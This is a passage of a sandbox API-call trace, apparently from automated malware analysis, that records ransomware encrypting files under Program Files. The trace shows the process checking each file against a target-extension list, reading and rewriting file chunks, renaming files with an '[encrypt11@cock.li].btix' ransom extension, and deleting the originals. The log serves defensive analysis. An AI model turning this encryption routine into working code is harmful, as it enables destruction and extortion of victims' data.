Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0136.158] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0136.158] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0x0) returned 1 [0136.158] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1 [0136.158] ReadFile (in: hFile=0x4a8, lpBuffer=0x42bd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x42bd058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1 [0136.160] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1 [0136.161] ReadFile (in: hFile=0x4a8, lpBuffer=0x42fd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x42fd058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1 [0136.166] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.166] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1 [0136.166] ReadFile (in: hFile=0x4a8, lpBuffer=0x433d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x433d058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1 [0136.515] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.515] WriteFile (in: hFile=0x4a8, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x378fca8, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fca8*=0xc0102, lpOverlapped=0x0) returned 1 [0136.530] SetEndOfFile (hFile=0x4a8) returned 1 [0136.530] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x52b0048 [0136.534] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1 [0136.534] WriteFile (in: hFile=0x4a8, lpBuffer=0x52b0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x52b0048*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1 [0136.535] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1 [0136.535] WriteFile (in: hFile=0x4a8, lpBuffer=0x52b0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x52b0048*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1 [0136.539] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1 [0136.539] WriteFile (in: hFile=0x4a8, lpBuffer=0x52b0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x52b0048*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1 [0136.541] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0136.543] CloseHandle (hObject=0x4a8) returned 1 [0136.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x21) returned 1 [0136.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.543] lstrlenW (lpString=".doc") returned 4 [0136.543] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0136.543] lstrlenW (lpString=".docx") returned 5 [0136.543] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0136.543] lstrlenW (lpString=".pdf") returned 4 [0136.543] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0136.544] lstrlenW (lpString=".xls") returned 4 [0136.544] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0136.544] lstrlenW (lpString=".xlsx") returned 5 [0136.544] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0136.544] lstrlenW (lpString=".ppt") returned 4 [0136.544] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0136.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.544] lstrlenW (lpString=".zip") returned 4 [0136.544] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0136.544] lstrlenW (lpString=".rar") returned 4 [0136.544] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0136.544] lstrlenW (lpString=".bz2") returned 4 [0136.544] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0136.544] lstrlenW (lpString=".7z") returned 3 [0136.544] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0136.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.544] lstrlenW (lpString=".dbf") returned 4 [0136.544] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0136.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.544] lstrlenW (lpString=".1cd") returned 4 [0136.544] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0136.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.544] lstrlenW (lpString=".jpg") returned 4 [0136.544] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0136.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.544] lstrlenW (lpString=".doc") returned 4 [0136.544] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0136.544] lstrlenW (lpString=".docx") returned 5 [0136.544] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0136.544] lstrlenW (lpString=".pdf") returned 4 [0136.544] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0136.544] lstrlenW (lpString=".xls") returned 4 [0136.544] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0136.545] lstrlenW (lpString=".xlsx") returned 5 [0136.545] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0136.545] lstrlenW (lpString=".ppt") returned 4 [0136.545] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0136.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.545] lstrlenW (lpString=".zip") returned 4 [0136.545] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0136.545] lstrlenW (lpString=".rar") returned 4 [0136.545] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0136.545] lstrlenW (lpString=".bz2") returned 4 [0136.545] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0136.545] lstrlenW (lpString=".7z") returned 3 [0136.545] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0136.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.545] lstrlenW (lpString=".dbf") returned 4 [0136.545] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0136.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.545] lstrlenW (lpString=".1cd") returned 4 [0136.545] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0136.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0136.545] lstrlenW (lpString=".jpg") returned 4 [0136.545] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0136.545] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.545] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0136.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0136.546] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5843) returned 1 [0136.546] CloseHandle (hObject=0x4a8) returned 1 [0136.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220 [0136.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0136.547] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.547] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0136.547] GetLastError () returned 0x0 [0136.547] ReadFile (in: hFile=0x4a8, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x16d3, lpOverlapped=0x0) returned 1 [0136.692] WriteFile (in: hFile=0x4dc, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x16e0, lpOverlapped=0x0) returned 1 [0136.694] ReadFile (in: hFile=0x4a8, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.694] WriteFile (in: hFile=0x4dc, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.694] SetEndOfFile (hFile=0x4dc) returned 1 [0136.884] CloseHandle (hObject=0x4dc) returned 1 [0136.902] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.902] SetEndOfFile (hFile=0x4a8) returned 1 [0136.946] CloseHandle (hObject=0x4a8) returned 1 [0136.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0136.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.947] lstrlenW (lpString=".doc") returned 4 [0136.947] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.947] lstrlenW (lpString=".docx") returned 5 [0136.947] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.947] lstrlenW (lpString=".pdf") returned 4 [0136.947] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.947] lstrlenW (lpString=".xls") returned 4 [0136.947] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.947] lstrlenW (lpString=".xlsx") returned 5 [0136.947] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.947] lstrlenW (lpString=".ppt") returned 4 [0136.947] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.947] lstrlenW (lpString=".zip") returned 4 [0136.947] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.947] lstrlenW (lpString=".rar") returned 4 [0136.947] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.947] lstrlenW (lpString=".bz2") returned 4 [0136.947] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.947] lstrlenW (lpString=".7z") returned 3 [0136.947] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.947] lstrlenW (lpString=".dbf") returned 4 [0136.947] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.947] lstrlenW (lpString=".1cd") returned 4 [0136.947] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.948] lstrlenW (lpString=".jpg") returned 4 [0136.948] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.948] lstrlenW (lpString=".doc") returned 4 [0136.948] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.948] lstrlenW (lpString=".docx") returned 5 [0136.948] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.948] lstrlenW (lpString=".pdf") returned 4 [0136.948] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.948] lstrlenW (lpString=".xls") returned 4 [0136.948] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.948] lstrlenW (lpString=".xlsx") returned 5 [0136.948] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.948] lstrlenW (lpString=".ppt") returned 4 [0136.948] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.948] lstrlenW (lpString=".zip") returned 4 [0136.948] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.948] lstrlenW (lpString=".rar") returned 4 [0136.948] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.948] lstrlenW (lpString=".bz2") returned 4 [0136.948] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.948] lstrlenW (lpString=".7z") returned 3 [0136.948] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.948] lstrlenW (lpString=".dbf") returned 4 [0136.948] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.948] lstrlenW (lpString=".1cd") returned 4 [0136.948] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0136.948] lstrlenW (lpString=".jpg") returned 4 [0136.948] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.949] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.949] lstrlenW (lpString="PARNT_04.MID") returned 12 [0136.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0136.949] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6070) returned 1 [0136.949] CloseHandle (hObject=0x4a8) returned 1 [0136.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220 [0136.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0136.950] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.950] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0136.950] GetLastError () returned 0x0 [0136.950] ReadFile (in: hFile=0x4a8, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x17b6, lpOverlapped=0x0) returned 1 [0136.951] WriteFile (in: hFile=0x534, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0136.952] ReadFile (in: hFile=0x4a8, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.953] WriteFile (in: hFile=0x534, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.953] SetEndOfFile (hFile=0x534) returned 1 [0136.953] CloseHandle (hObject=0x534) returned 1 [0136.953] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.953] SetEndOfFile (hFile=0x4a8) returned 1 [0136.955] CloseHandle (hObject=0x4a8) returned 1 [0136.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0136.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.956] lstrlenW (lpString=".doc") returned 4 [0136.956] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.956] lstrlenW (lpString=".docx") returned 5 [0136.956] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0136.956] lstrlenW (lpString=".pdf") returned 4 [0136.956] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.956] lstrlenW (lpString=".xls") returned 4 [0136.956] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.956] lstrlenW (lpString=".xlsx") returned 5 [0136.956] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0136.956] lstrlenW (lpString=".ppt") returned 4 [0136.956] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.956] lstrlenW (lpString=".zip") returned 4 [0136.957] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.957] lstrlenW (lpString=".rar") returned 4 [0136.957] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.957] lstrlenW (lpString=".bz2") returned 4 [0136.957] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.957] lstrlenW (lpString=".7z") returned 3 [0136.957] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.957] lstrlenW (lpString=".dbf") returned 4 [0136.957] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.957] lstrlenW (lpString=".1cd") returned 4 [0136.957] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.957] lstrlenW (lpString=".jpg") returned 4 [0136.957] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.957] lstrlenW (lpString=".doc") returned 4 [0136.957] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.957] lstrlenW (lpString=".docx") returned 5 [0136.957] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0136.957] lstrlenW (lpString=".pdf") returned 4 [0136.957] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.957] lstrlenW (lpString=".xls") returned 4 [0136.957] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.957] lstrlenW (lpString=".xlsx") returned 5 [0136.957] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0136.957] lstrlenW (lpString=".ppt") returned 4 [0136.957] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.958] lstrlenW (lpString=".zip") returned 4 [0136.958] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.958] lstrlenW (lpString=".rar") returned 4 [0136.958] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.958] lstrlenW (lpString=".bz2") returned 4 [0136.958] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.958] lstrlenW (lpString=".7z") returned 3 [0136.958] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.958] lstrlenW (lpString=".dbf") returned 4 [0136.958] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.958] lstrlenW (lpString=".1cd") returned 4 [0136.958] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0136.958] lstrlenW (lpString=".jpg") returned 4 [0136.958] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.958] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.958] lstrlenW (lpString="PARNT_05.MID") returned 12 [0136.958] CreateFileW (lpFileName="C:\\Program 